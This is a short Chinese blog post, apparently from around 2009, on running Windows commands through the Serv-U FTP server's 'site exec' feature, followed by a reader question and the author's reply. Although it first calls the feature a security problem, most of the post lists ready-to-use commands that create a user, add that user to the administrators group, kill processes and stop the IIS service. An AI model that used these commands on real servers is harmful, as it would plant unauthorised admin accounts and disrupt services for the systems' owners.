通过 Serv-u 执行命令

    当 Serv-u 允许用户执行命令的时候,就会出现很大的安全问题。如:

quote site exec net user comet 123456 /add  '添加用户 comet
quote site exec net localgroup administrators comet /add '把用户 comet  添加到管理员组
quote site exec tskill PID  '在 Win 2003 中通过 PID  关闭进程
quote site exec tskill notepad '在 Win 2003 中通过名称关闭同类的进程
quote site exec net stop iisadmin '停止 iis 服务
quote site exec net start iisadmin
'启动 iis 服务

《通过 Serv-u 执行命令》上有1条评论

  1. 那请问怎么能执行EXE文件呢?
    [reply=comet,2009-02-05 09:09 PM]net 命令就是 net.exe [/reply]

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据